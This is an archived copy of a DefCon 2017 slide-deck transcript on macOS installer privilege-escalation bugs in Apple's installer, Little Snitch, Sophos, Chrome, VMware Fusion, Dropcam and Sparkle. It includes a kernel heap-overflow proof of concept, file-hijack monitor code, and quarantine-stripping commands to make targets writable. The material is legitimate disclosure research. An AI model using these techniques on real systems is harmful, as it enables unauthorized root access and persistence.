{
	"id": "2430bfa3-6a51-470c-b17a-31e4756f277d",
	"created_at": "2026-04-06T02:12:15.417528Z",
	"updated_at": "2026-04-10T03:36:47.764354Z",
	"deleted_at": null,
	"sha1_hash": "2b34a8f4ad84c6a49f76d67e104045adb313f3fd",
	"title": "[DefCon 2017] Death by 1000 Installers; it's All Broken!",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 111593,
	"plain_text": "[DefCon 2017] Death by 1000 Installers; it's All Broken!\r\nArchived: 2026-04-06 02:07:57 UTC\r\nEver get an uneasy feeling when an installer asks for your password? Well, your gut was right! The majority of\r\nmacOS installers \u0026 updaters are vulnerable to a wide range of priv-esc attacks.\r\nIt began with the discovery that Apple's OS updater could be abused to bypass SIP (CVE-2017-6974). Next, turns\r\nout Apple's core installer app may be subverted to load unsigned dylibs which may elevate privileges to root.\r\nAnd what about 3rd-party installers? I looked at what's installed on my Mac, and ahhh, so many bugs!\r\nFirewall, Little Snitch: EoP via race condition of insecure plist\r\nAnti-Virus, Sophos: EoP via hijack of binary component\r\nBrowser, Google Chrome: EoP via script hijack\r\nVirtualization, VMWare Fusion: EoP via race condition of insecure script\r\nIoT, DropCam: EoP via hijack of binary component\r\nand more!\r\n...and 3rd-party auto-update frameworks like Sparkle -yup vulnerable too!\r\nThough root is great, we can't bypass SIP nor load unsigned kexts. However with root, I discovered one could now\r\ntrigger a ring-0 heap-overflow that provides complete system control.\r\nThough the talk will discuss a variety of discovery mechanisms, 0days, and macOS exploitation techniques, it\r\nwon't be all doom \u0026 gloom. We'll end by discussing ways to perform authorized installs/upgrades that don't\r\nundermine system security.\r\nTranscript\r\n1. @patrickwardle DEATH BY 1000 INSTALLERS ...it's all broken :(\r\n2.\r\n3.\r\n4.\r\n5. AUTHORIZATION executing priv'd actions (ui)\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 1 of 11\n\n6.\r\n7.\r\n8. request via AuthorizationExecuteWithPrivileges() BEHIND THE SCENES installer: \"I\r\nwanna do\r\na priv'd action\" 1 AuthorizationRef authRef; AuthorizationCreate(NULL,\r\nkAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, \u0026authRef);\r\nAuthorizationExecuteWithPrivileges(authRef, \"/path/to/binary\", kAuthorizationFlagDefaults, NULL,\r\nNULL); AuthorizationExecuteWithPrivileges() define TRAMPOLINE \"/usr/libexec/\r\nsecurity_authtrampoline\" AuthorizationExecuteWithPrivileges() -\u003e\r\nAuthorizationExecuteWithPrivilegesExternalForm() switch (fork()) { //child case 0: execv(trampoline,\r\n(char *const*)argv); $ ls -lart /usr/libexec/security_authtrampoline -rws--x--x root wheel\r\nsecurity_authtrampoline int main() { AuthorizationItem right = {EXECUTERIGHT, ...};\r\nAuthorizationRights inRights = { 1, \u0026right }; AuthorizationCopyRights(auth, \u0026inRights, NULL,\r\nkAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed, \u0026outRights))\r\nexecv(pathToTool, (char *const *)restOfArguments); XPC # ps aux | grep authd 112\r\n/System/Library/Frameworks/Security.framework/\r\nVersions/A/XPCServices/authd.xpc/Contents/MacOS/authd # lsmp -p 112 | grep security_authtrampoline\r\n... send-once --\u003e (1243) security_authtrampoline # lsmp -p 1243 | grep authd send-once \u003c-- (112) authd\r\nsecurity_authtrampoline security_authtrampoline; setuid\r\n9. authd; servicing authorization requests BEHIND THE SCENES authd: \"responsible for\r\nservicing authorization requests made by client\" -*OS Internals, j levin (p. 92) 2 authorization database #\r\nsqlite3 /var/db/auth.db .dump | grep system.privilege.admin INSERT INTO \"rules\"\r\nVALUES(135,'system.privilege.admin',1,1,'admin',... 'Used by AuthorizationExecuteWithPrivileges(...).\r\nXPC XPC //'system.privilege.admin' AuthorizationItem right = {EXECUTERIGHT, ...};\r\nAuthorizationCopyRights(...); authorization daemon: consult auth db xpc for auth prompt\r\n10. Security Agent; give me creds! BEHIND THE SCENES $ lsappinfo\r\nprocesslist ASN:0x0-0x1001-\"loginwindow\":  ASN:0x0-0xb00b-\"SystemUIServer\": ASN:0x0-0xc00c-\r\n\"Dock\": ... ASN:0x0-0x43043-\"SecurityAgent\": # lsmp -p 112 | grep SecurityAgent + send \u003c- (1532)\r\nSecurityAgent send -\u003e (1532) SecurityAgent send -\u003e (1532) SecurityAgent + send-once \u003c- (1532)\r\nSecurityAgent SecurityAgent: \"an XPC service responsible for the UI\"  -j levin XPC messages from authd\r\nto SecurityAgent int main() { AuthorizationItem right = {EXECUTERIGHT, ...}; AuthorizationRights\r\ninRights = { 1, \u0026right }; AuthorizationCopyRights(auth, \u0026inRights, NULL,\r\nkAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed, \u0026outRights))\r\nexecv(pathToTool, (char *const *)restOfArguments); security_authtrampoline XPC authentication dialog\r\npassword 'out of proc' #_\r\n11. CORE ISSUES what's the problem(s)?\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 2 of 11\n\n12.\r\n13.\r\n14.\r\n15. example; iWorm 'LEGITIMATE' # fs_usage -w -f filesys 20:28:28.727871 open\r\n/Library/LaunchDaemons/com.JavaW.plist 20:28:28.727890 write B=0x16b int sub_1cf6() { *(int16_t *)\r\n(pathEnd) = \"0/\"; if (AuthorizationCreate(0x0, 0x0, 0x0, var_40C) == 0x0) {\r\nAuthorizationExecuteWithPrivileges(var_40C, path, 0x0, 0x0, 0x0); AuthorizationFree(var_40C, 0x0); }\r\nauthentication prompt persistently installing osx/iworm installer's code infected apps '0' binary\r\n16.\r\n17.\r\n18. FINDING 0days 'user-assisted' priv-escalations\r\n19. ....everybody :( WHO CALLS AUTHORIZATIONEXECUTEWITHPRIVILEGES\r\nOSStatus AuthorizationExecuteWithPrivilegesExternalForm(const\r\nAuthorizationExternalForm * extForm,\r\nconst char *pathToTool ...) { // report the caller to the authorities aslmsg m = asl_new(ASL_TYPE_MSG);\r\nasl_set(m, \"com.apple.message.domain\",\r\n\"com.apple.libsecurity_authorization.AuthorizationExecuteWithPrivileges\"); asl_set(m,\r\n\"com.apple.message.signature\", getprogname()); asl_log(NULL, m, ASL_LEVEL_NOTICE,\r\n\"AuthorizationExecuteWithPrivileges!\"); ... $ strings /private/var/log/DiagnosticMessages/* | grep -A 1\r\nAuthorizationExecuteWithPrivileges! $AuthorizationExecuteWithPrivileges! Slack ... VMware Fusion\r\nGoogle Chrome Little Snitch Installer osascript Autoupdate (Sparkle) lib/trampolineClient.cpp\r\nConsole.app *.asl logs } vulnerable? q: is binary, passed to AuthorizationExecute... writable* by non-priv'd\r\ncode? authentication attempts are logged\r\n20. is it writable? AUTHORIZATIONEXECUTEWITHPRIVILEGES() PAYLOAD\r\nAuthorizationExecuteWithPrivileges(authRef, \"/sbin/reboot\", kAuthorizationFlagDefaults,\r\nNULL, NULL);\r\nvs. AuthorizationExecuteWithPrivileges(authRef, \"~/Downloads/Install.app\", kAuthorizationFlagDefaults,\r\nNULL, NULL); world-writable, but exec'd as r00t # procmon new process: security_authtrampoline\r\n(24977) path: /usr/libexec/security_authtrampoline pid: 24977 args: \"~/Downloads/Install.app\", ... process\r\nmonitor 'security_authtrampoline' what is it exec'ing? } can non-priv'd code modify it? # lldb\r\n\u003cpath/to/app\u003e (lldb) b AuthorizationExecuteWithPrivileges (lldb) r ... * thread #1:\r\nSecurity`AuthorizationExecuteWithPrivileges stop reason = breakpoint 1.1 (lldb) x/s $rsi 0x100000fa2:\r\n\"~/Downloads/Install.app\" debugger (lldb)\r\n21. often 'unsafe' things! WHAT DOES AUTHORIZED PROCESS (THEN) DO? #_\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 3 of 11\n\n} load/execute 'unsecured' components create insecure temp files install 'unsecured' components # fs_usage\n-w -f filesystem | grep Installer stat64 /Library/LaunchDaemons/com.insecure.plist Installer access\n/Library/LaunchDaemons/com.insecure.plist Installer rename\n~/Downloads/Install.app/Contents/Resources/com.insecure.plist Installer chown\n/Library/LaunchDaemons/com.blah.plist Installer file monitor Launch Daemons RunAtLoad ProgramArguments  /Library/evil.bin plist\n(executed as r00t) persisted as r00t :/ plist\n22. BUGS if(no CVE) then 0day;\n23. dropcam INTERNET OF THINGS $ ls -lart\n/var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y/Setup Dropcam\n(Macintosh).app/Contents/MacOS/Setup\nDropcam (Macintosh) -rwxrwxrwx 1 patrick staff Setup Dropcam (Macintosh) permissions of (copied)\ninstaller $ lldb Setup Dropcam (Macintosh).app Launched parent Copying Setup Dropcam\n(Macintosh).app to /var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y Launching\nchild with elevated privileges from /var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/\ndropcam_kwvZ7y/Setup Dropcam (Macintosh).app/Contents/MacOS/Setup Dropcam (Macintosh) Process\n96025 stopped (Security`AuthorizationExecuteWithPrivileges) (lldb) x/x $esp+8 0xbffff6c4: 0x0020ac50\n(lldb) x/s 0x0020ac50 0x0020ac50:\n\"/var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y/Setup Dropcam\n(Macintosh).app/Contents/MacOS/Setup Dropcam (Macintosh)\" copy \u0026 exec (auth'd) installer from tmp\ndir! #_\n24. google chrome BROWSERS # procmon new process: security_authtrampoline (1508) path:\n/usr/libexec/security_authtrampoline pid: 24977 args: \"/Applications/Google\nChrome.app/Contents/Versions/59.0.3071.115/Google Chrome\nFramework.framework/Resources/keystone_promote_preflight.sh\", ... process monitor\nkeystone_promote_preflight.sh } bash script owned by user -rwxr-xr-x@ 1 user executed as r00t [bug\n593133] \"AuthorizationExecuteWithPrivileges is deprecated ...as per discussion no good replacement\nexists\" #wontfix (non-admin) install\n25. little snitch SECURITY TOOLS big snitch ;) Launch Daemons 1\n2 3 plist 2 3 firewall is elevated writes a plist to temporary (user-writable) location moves plist into launch\ndaemons \u0026 chowns it to r00t } installer/updater: RunAtLoad ProgramArguments  /path/2/lsdaemon editable by all! 1\n26. little snitch SECURITY TOOLS (lldb) b ptrace Breakpoint 1: =\nlibsystem_kernel.dylib`__ptrace (lldb) br com add 1 Enter your debugger command(s). \u003e thread return \u003e\ncontinue \u003e DONE disable anti-debug char -[ODShell writePlist:owner:mode:toFile:] { ... r14 =\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\nPage 4 of 11\n\n[NSTemporaryDirectory() stringByAppendingPathComponent: [NSString\r\nstringWithFormat:@\"at.obdev.LittleSnitchInstaller.temp.%@.plist\", [arg5 lastPathComponent]]]; [arg2\r\nwriteToFile:r14 atomically:0x0]; } move plist \u0026 chown (lldb) b -[ODShell _executeCommandAsRoot:]\r\n(lldb) * thread #1: -[ODShell _executeCommandAsRoot:] stop reason = breakpoint 1.1 (lldb) po $rdx\r\necho $$; { /bin/rm -f \"$PLIST\"; /bin/mv \"$TMPFILE\" \"$PLIST\"; /usr/sbin/chown root:wheel \"$PLIST\";\r\n/bin/chmod 0644 \"$PLIST\"; } 2\u003e\u00261 (lldb) po [[NSProcessInfo processInfo] environment] PLIST =\r\n\"/Library/LaunchDaemons/at.obdev.littlesnitchd.plist\"; TMPFILE =\r\n\"/var/folders/hp/vv2sj3014271lklmjkyfjfl80000gn/T/\r\nat.obdev.LittleSnitchInstaller.temp.at.obdev.littlesnitchd.plist.plist\"; save plist to temporary location\r\npatched: CVE-2017-2675\r\n27. vmware fusion VIRTUALIZATION SOFTWARE (lldb) b\r\nAuthorizationExecuteWithPrivileges * thread #1:\r\nSecurity`AuthorizationExecuteWithPrivileges * stop reason = breakpoint 1.1 frame #0:\r\n0x00007fff928cef77 Security`AuthorizationExecuteWithPrivileges (lldb) x/s $rsi\r\n\"/var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/fusionAutoupdate.JuFYAU/preflight\" $ ls -lart\r\n/var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/fusionAutoupdate.JuFYAU/preflight -r-xr-xr-x 1\r\nuser staff #_ scripts extracted to temp (user-writable) directory executed as r00t } executing world-writable\r\nscripts...as r00t\r\n28. f-secure freedome VPN SOFTWARE # procmon new process: security_authtrampoline\r\n(2580)\r\npath: /usr/libexec/security_authtrampoline pid: 24977 args:\r\n\"/System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid\", \"auth 11\",\r\n\"/System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid\", \"/bin/sh\", \"-c\", \"sh\r\n'/Applications/Freedome.app/Contents/Resources/install_or_update_plists.sh'\r\n'/Applications/Freedome.app'\" process monitor: 'install_or_update_plists.sh'\r\nSettingsManager::createConfigsAndReinstallDaemonIfNeeded { ... lea rdi, \"do shell script \"%1\" with\r\nadministrator privileges\" ... lea rdi, \"osascript\" ... lea rdi, \"-e\" ... call QProcess::start(QString\r\nconst\u0026,QStringList const\u0026, ...) } freedome's disassembly exec script as root, via applescript\r\n29. sophos av ANTI-VIRUS $ lldb \"~/Downloads/SophosInstall/Sophos Installer.app\" Current\r\nexecutable set\r\nto '~/Downloads/SophosInstall/Sophos Installer.app' (x86_64). (lldb) b\r\nAuthorizationExecuteWithPrivileges (lldb) r * thread #1: Security`AuthorizationExecuteWithPrivileges *\r\nstop reason = breakpoint 1.1 frame #0: 0x00007fff928cef77 Security`AuthorizationExecuteWithPrivileges\r\n(lldb) x/s $rsi 0x105b56f70: \"~/Downloads/SophosInstall/Sophos\r\nInstaller.app/Contents/MacOS/tools/InstallationDeployer\" (lldb) x/2x $rcx 0x7fff5fbfebe0:\r\n0x0000000100031477 0x0000000100031481 (lldb) x/s 0x0000000100031477 0x100031477: \"--install\"\r\n(lldb) x/s 0x0000000100031481 0x100031481: \"--ui\" SophosInstall.zip InstallationDeployer --install --ui\r\n#_\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 5 of 11\n\n30. sparkle; ...used lots AUTO-UPDATE LIBRARY \"Apps using Sparkle\" github.com/sparkle-project/Sparkle/issues/717 Acorn\r\nActivity Audit Adapter Adium Air Display Host Air Video Server HD AirParrot 2 AirRadar AirServer\r\nAirfoil Airfoil Speakers Airfoil Video Player Alarm Clock Pro Alarm Clock Pro 2 Ambify Antidote 8\r\nAppCleaner AppDelete AppViz AppZapper Archiver Art Text 2 Audio Hijack Audio Hijack Pro Audiomate\r\nAudirvana Plus Bartender Bartender 2 Battery Guardian Battery Report BeadedSpice Beamer Bento 3\r\nBetterTouchTool BetterZip BibDesk Billings Bit Slicer BitTorrent Bitcasa Bittorrent Sync Bleep Blue\r\nJeans Scheduler for Mac BoinxTV BootXChanger Borderlands Bowtie Boxer Bricksmith CCMenu\r\nCDpedia Cactus Cakebrew Camtasia 2 Capo Carbon Copy Cloner Carousel Cathode Chatology\r\nCheatSheet Chicken ChitChat Chocolat Cinch Cisco Jabber ClamXav CleanMyMac 2 Clippy CloudApp\r\nCloudyTabs Clyppan Cocktail CocoaPods Coconut ID CocosBuilder Coda 2 CodeKit CodeRunner\r\nColloquy ColorFinale ColorMunki Display ColorMunki Smile Comic Life Conductr Server Contour\r\nControlPlane ControllerMate CopyClip Core Data Editor Corel Painter Sketch Pad Cornerstone\r\nCoverScout 3 Crashlytics CrossOver Crunch Cyberduck DEVONthink DEVONthink Pro DS_Store\r\nCleaner DaisyDisk Dash Dashlane Data Rescue 3 Default Folder X Deploymate DesignPro Deskovery\r\nDesktop Curtain DesktopShelves Disk Drill DiskAid DiskMaker X DockMod Downie DrawBerry Drive\r\nGenius 3 DropZone 3 DropletManager Dropshare Dropzone-2 DuetDisplay + DynDNSUpdater Elmedia\r\nPlayer Eloquent Ember Enjoy2 Evernote Evom Exhaust Fabric Fake Fantastical Feeder Feeder 3 Festify\r\nFinal Vinyl FinderPath Fitbit Connect Flashlight Flavours2 FlexiGlass Fluid Flux Focus Focus 2 Font\r\nFinagler FontAgent Pro 6 FontStand ForkLift FotoMagico Fraise Framer Studio GPG Keychain GeekTool\r\nGeekbench Geekbench 3 Get Backup 2. Get iPlayer Automator GitUp Gitbox Gitter Glyphs Go2Shell\r\nGoofy GraphicConverter 7 GraphicConverter 8 GraphicConverter 9 GridMount GrowlMail Hammerspoon\r\nHandbrake Harvest Hedgewars Hex Fiend HipChat Hirundo Hobo Hocus Focus Hopper Hopper\r\nDisassembler v3 Hopper/Hopper Debugger Server HoudahGeo HoudahSpot Hypernap iExplorer iFunBox\r\niPhone Backup Extractor iPhone Explorer iPlayer Automator iSale 5 iShowU HD iSkysoft iTube Studio\r\niStopMotion iStumbler iSubtitle iTeleport Connect iTerm iTerm-2 iTools iVPN IP Scanner IPNetMonitor X\r\nIconJar Image2Icon ImageAlpha ImageOptim Impactor InVisible Infinit Inklet InsomniaX Intensify Pro\r\nIsolator Itsycal JPEGmini Pro JewelryBox JollysFastVNC Jumpcut Kaleidoscope Karabiner\r\nKeepingYouAwake Keka Kext Wizard KisMAC Knock LaTeXiT Last.fm LevelHelper LineIn LiquidCD\r\nLiteIcon Live Interior 3D Pro LiveReload Loading Lookback Loop Editor Lumio Lyve M3Unify MAMP\r\nMDRP MPEG2 Works 4 MPlayer OSX Extended MPlayerX MTR 5 MacDown MacJournal MacPilot\r\nMacVim Mactracker Mailbox MediaInfo Mac MenubarStats Messenger MetaZ Minbox MindNode Pro\r\nMinitube Miro Miro Video Converter Money MongoHub Monodraw Monolingual Mou Mou +\r\nMouseRecorder MoveToAppleMusic MyHarmony Myo Connect Name Mangler NameChanger\r\nNetNewsWire NetSpot NiceCast Notational Velocity NoteBook Notifyr Noun Project OSCulator\r\nOSCulator ƒ Octohub Octopus Opacity OpenDNS Updater 3.0 OpenEmu PDFpen Pacifist PaintCode\r\nPaintCode 2 Paintbrush Panda Mac Paparazzi! Paperless Paw Phone To Mac PhoneExpander PhoneView\r\nPhotoPresenter Phun PhysicsEditor Picturesque Piezo Platypus PlistEdit Pro Plug Poedit Power Manager\r\nPower Manager Professional PowerPhotos PowerTunes ProjectPlus PwnageTool QuickRadar Quicken\r\n2007 Quicken 2016 Quinn Radium Rdio RealPlayer Cloud Reeder Reflector Reflector 2 Reggy Remote\r\nActivity RescueTime Retrode Utility Reveal RightFont Ring Rinoceros RipIt RoadMovie RoboFont\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 6 of 11\n\nS3Hub SMART Utility 2.1.2 SafariCacheExplorer Sandvox SaneDesk Scapple ScreenFlow Scrivener Seil\r\nSelfControl Senuti Sequel Pro Shapes Sharepod Sidestep Silverback Simple Comic Simul80 SizeUp\r\nSketch Sketch Toolbox Skim SkyFonts Slack Sleep Monitor Snagit Snapheal Snapheal PRO Sofortbild\r\nSongGenie Soulver Sound Studio SoundSoap SourceTree SousChef Spark Splashtop Splice Stand Stay\r\nStoryMill StuffIt Expander Subler Subliminal Submerge Swift Publisher 3 TCMPortMapper TG Pro\r\nTagalicious Tagger Tansmit TeX Live Utility TeXnicle TeamViewer TechTool Pro 8 Teleport TexShop\r\nTextual TexturePacker The Unarchiver Throng Timing Toast 14 Titanium Toast Titanium Tokens\r\nTomahawk Tonality Pro Tower Trailer Trampoline Transmission Transmit Trello TripMode Triumph\r\nTunesKit for Mac TunnelBear Tunnelblick TurboTax 2012-2015, at least TwistedWave Twitterrific Typora\r\nuTorrent UnRarX UnicodeChecker Unison Übersicht VLC VLS Vagrant Manager VelOCRaptor Versions\r\nVideoMonkey VideoSpec Vienna Viscosity VisualHub Vitamin-R Vivaldi Vox VyprVPN Wallsaver Waltr\r\nWebKit WhatSize Whiskey Winclone Wine WineBottler WireTap Studio Witgui Wondershare AllMyTube\r\nWondershare Data Recovery Wondershare Video Converter Ultimate X-LosslessDecoder XLD XQuartz\r\nXslimmer Yarg Yate ZFS Plugin Zeplin Zoom Zulip Zwoptex oh f**k list from 2016 app (to be vulnerable)\r\nmust use recent ver. of sparkle user\r\n31. an example; hopper.app SPARKLE time to update! (lldb) process attach\r\n--name Autoupdate --waitfor  Executable module set to \"/Users/user/Library/Caches/com.cryptic-apps.hopper-web-4/org.sparkle- project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate\". (lldb) b\r\nAuthorizationExecuteWithPrivileges Process 15771 stopped\r\nSecurity`AuthorizationExecuteWithPrivileges: (lldb) x/s $rsi \"/Users/user/Library/Caches/com.cryptic-apps.hopper-web-4/org.sparkle-project.Sparkle/ Autoupdate.app/Contents/MacOS/fileop update server\r\nAutoupdate.app fileop fileop modifiable by un-priv'd code } executed as r00t user\r\n32. hijacking auth'd copies AND APPLE? user authenticates item (naively) copied\r\n} Slack.zip ...into /Applications $ shasum -a 1 ~/Downloads/Slack.app/Contents/MacOS/Slack\r\n0a05ccc21943b543dd0326a7b5f7918d881d67f6 $ xattr -rc ~/Downloads/Slack.app $ cat - \u003e\u003e\r\n~/Downloads/Slack.app/Contents/MacOS/Slack AAAAA^C $ shasum -a 1\r\n/Applications/Slack.app/Contents/MacOS/Slack 8e605dad6112b601bbdd085dd0d3b97d5a1905e6 $ ps aux\r\n| grep Slack.app user 17150 /Applications/Slack.app/Contents/MacOS/Slack 'infected' Slack runs ...for any\r\nuser no verification, that the item wasn't modified user\r\n33.\r\n34. Installer.app loads unsigned dylibs?? AND APPLE? /Plugins (lldb) process attach\r\n--name Installer --waitfor Process 460 stopped Foundation`-[NSFileManager createDirectoryAtPath:\r\nwithIntermediateDirectories:attributes:error:] (lldb) po $rdx\r\n/tmp/com.apple.installerie9PZNtz/FollowUs.bundle ... Process 460 stopped libdyld.dylib`dlopen (lldb) x/s\r\n$rdi \"/tmp/com.apple.installerie9PZNtz/FollowUs.bundle installer doing what!? /tmp $ ls -lart\r\n/tmp/com.apple.installerie9PZNtz/FollowUs.bundle -rwxr-xr-x 1 user staff /tmp is writeable! unsigned\r\ndylib; loaded :/\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 7 of 11\n\n35. BEYOND ROOT subverting 's OS installer # tail -f /var/log/install.log\nInstallAssistant: Blessing /Volumes/Macintosh HD -- /Volumes/Macintosh HD/macOS Install Data\nInstallAssistant: ****** Setting Startup Disk ****** InstallAssistant: ****** Path: /Volumes/Macintosh\nHD InstallAssistant: ****** Boot Plist: /Volumes/Macintosh HD/macOS Install Data/com.apple.Boot.plist\nInstallAssistant: /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/ macOS Install Data -bootefi\n/Volumes/Macintosh HD/macOS Install Data/boot.efi -options config=\"\\macOS Install\nData\\com.apple.Boot\" -label macOS Installer Install macOS Sierra.app InstallESD.dmg 'new' os codesign -\nd --entitlements - /Applications/Install\\ macOS\\\nSierra.app/Contents/Frameworks/OSInstallerSetup.framework/ Versions/A/Resources/osishelperd   com.apple.private.securityd.stash com.apple.rootless.install  com.apple.rootless.install.heritable  blessing, to boot off InstallESD.dmg osishelperd's entitlements\n36. subverting 's OS installer BEYOND ROOT once the system is\nbooted of an infected image, all 'OS-level' protections are irrelevant create malicious library that forwards\nexports to (re-named) dylib rename dependent dylib move/rename malicious library to match (original)\ndylib 1 2 3 'dylib proxying' IASUtilities IASUtilities_ORIG OS Installer unless entitled runtime 'injection'\ninto OS Installer\n37. subverting 's OS installer BEYOND ROOT Install macOS Sierra.app osishelperd\n# ps aux | grep -i [j]ava root 90 /Library/Application Support/JavaW/JavaW # less\n/System/Library/LaunchDaemons/com.JavaW.plist ProgramArguments /Library/Application Support/JavaW/JavaW  RunAtLoad #\nrm /System/Library/LaunchDaemons/com.JavaW.plist rm: Operation not permitted osishelperd blesses\ninfected images within installer app, infect os image (.dmg) system boots of infected image to reinstall OS\n1 2 3 the attack: not validated ! bypass SIP survive an OS upgrade CVE-2017-6974 dylib proxy\n38. a ring-0 heap overflow BEYOND ROOT void audit_arg_sockaddr(struct kaudit_record\n*ar,\nstruct vnode *cwd_vp, struct sockaddr *sa) { int slen; struct sockaddr_un *sun; bcopy(sa, \u0026ar-\n\u003ek_ar.ar_arg_sockaddr, sa-\u003esa_len); switch (sa-\u003esa_family) { case AF_UNIX: ... } struct kaudit_record {\nstruct audit_record k_ar; u_int32_t k_ar_commit; ... }; struct audit_record { u_int32_t ar_magic; int\nar_event; int ar_retval; ... struct sockaddr_storage ar_arg_sockaddr; int ar_arg_fd2; ... }; #define\n_SS_MAXSIZE 128 struct sockaddr_storage { u_char ss_len; sa_family_t ss_family; char\n__ss_pad1[_SS_PAD1SIZE]; int64_t __ss_align; char __ss_pad2[_SS_PAD2SIZE]; }; relevant structs\nbcopy() in audit_arg_sockaddr() source ('src'): struct sockaddr *sa destination ('dst'): struct\nsockaddr_storage k_ar.ar_arg_sockaddr audit_arg_sockaddr() bytes to copy ('len'): sa-\u003esa_len\n39. ring-0 heap overflow BEYOND ROOT can we make socket \u003e\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\nPage 8 of 11\n\n_SS_MAXSIZE? #define SOCKET_SIZE 200 //create unix socket int unixSocket = socket(AF_UNIX,\r\nSOCK_STREAM, 0); //alloc/fill char* addr = malloc(SOCKET_SIZE); memset(addr, 0x41,\r\nSOCKET_SIZE); //init (addr)-\u003esun_len = SOCKET_SIZE; (addr)-\u003esun_family = AF_UNIX; //bind\r\nbind(unixSocket, addr, SOCKET_SIZE)); (lldb) x/xb 0xffffff801a4c26f8 0xffffff801a4c26f8: 0xfa 0x01\r\n0x41 0x41 0x41 0x41 0x41 0x41 0xffffff801a4c2700: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ....\r\n(lldb) x/i $pc -\u003e 0xffffff80063eb6da: 48 8b 00 movq (%rax), %rax (lldb) reg read $rax rax =\r\n0x4141414141414141 kernel ptr = 0x4141414141414141 unix socket (200 bytes) patched 10.12.4/iOS(?)\r\n(AFAIK, no CVE/credit) yes!\r\n40. EXPLOITS making these useful\r\n41.\r\n42. watch for vulnerable application APP MONITOR 1 -(void)register4Notifications { //register\r\nfor 'app launched' notification [[[NSWorkspace sharedWorkspace] notificationCenter] addObserver:self\r\nselector:@selector(appEvent:) name:NSWorkspaceDidLaunchApplicationNotification object:nil]; //register\r\nfor 'app terminated' notification [[[NSWorkspace sharedWorkspace] notificationCenter] addObserver:self\r\nselector:@selector(appEvent:) name:NSWorkspaceDidTerminateApplicationNotification object:nil]; } -\r\n(void)appEvent:(NSNotification *)notification { //app name NSString* app =\r\nnotification.userInfo[@\"NSApplicationName\"]; //ignore apps we don't care about if(YES != [app\r\nisEqualToString:TARGET_APP]){ //bail goto bail; } //launched if(YES == [notification.name\r\nisEqualToString:@\"NSWorkspaceDidLaunchApplicationNotification\"]){  //start monitoring // -\u003ewait for\r\nvulnerable file } //exited else { //stop monitoring } .... } application start/stop monitor\r\n43. watch for vulnerable file (!polling) FILE MONITOR 2 -(void)register4Notifications {\r\nCFStringRef path = CFStringCreateWithCString(kCFAllocatorDefault, TARGET_FILE,\r\nkCFStringEncodingUTF8); CFArrayRef paths = CFArrayCreate(NULL, (const void **)\u0026path, 1,\r\n\u0026kCFTypeArrayCallBacks); CFRunLoopRef loop = CFRunLoopGetCurrent() ; FSEventStreamRef stream\r\n= FSEventStreamCreate(NULL, (FSEventStreamCallback)eventCallback, NULL, paths,\r\nkFSEventStreamEventIdSinceNow, 0, kFSEventStreamCreateFlagFileEvents );\r\nFSEventStreamScheduleWithRunLoop(stream, loop, kCFRunLoopDefaultMode);\r\nFSEventStreamStart(stream); CFRunLoopRun(); ... } void eventCallback(FSEventStreamRef stream,\r\nvoid* callbackInfo, size_t numEvents, void* paths, const FSEventStreamEventFlags eventFlags[], const\r\nFSEventStreamEventId eventIds[]) { //process events for(int i = 0; i\u003cnumEvents; i++){ //item creation\r\nevent? if(0 != (eventFlags[i] \u0026 0x100 )){ //target file created // -\u003ehijack/infect } }\r\nFSEventStreamFlushSync( stream ) ; file monitor\r\n44.\r\n45. side-stepping 'app translocation' MAKING TARGETS WRITABLE write-only 'app\r\ntranslocation' }\r\nhttps://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8\r\nPage 9 of 11\n\nCVE 2015-3715 (wardle) CVE 2015-7024 (wardle) testApp: app is translocated! testApp: original URL:\r\n~/Downloads/testApp.app/ testApp: translocated URL:\r\nfile:///private/var/folders/r3/9nbl60856zn82n6wdtwrxw8w0000gn/T/ AppTranslocation/7E2258D4-DD10-\r\n4B39-B659-F9C9C1CC7A9F/d/testApp.app/ translocated app $ xattr ~/Downloads/targetApp.zip ...\r\ncom.apple.quarantine $ xattr -rc ~/Download/targetApp.zip 1 2 remove xattrs prevents translocation\r\n(writable) prevents gatekeeper validation\r\n46. intercepting .dmg mounts to achieve R/W MAKING TARGETS WRITABLE write-only\r\n(/Volumes) .dmg $ less\r\n~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist \u003c?xml\r\nversion=\"1.0\" encoding=\"UTF-8\"?\u003e \u003cplist version=\"1.0\"\u003e \u003cdict\u003e \u003ckey\u003eLSHandlers\u003c/key\u003e \u003carray\u003e\r\n\u003cdict\u003e \u003ckey\u003eLSHandlerContentType\u003c/key\u003e \u003cstring\u003ecom.apple.disk-image-udif\u003c/string\u003e\r\n\u003ckey\u003eLSHandlerPreferredVersions\u003c/key\u003e \u003cdict\u003e 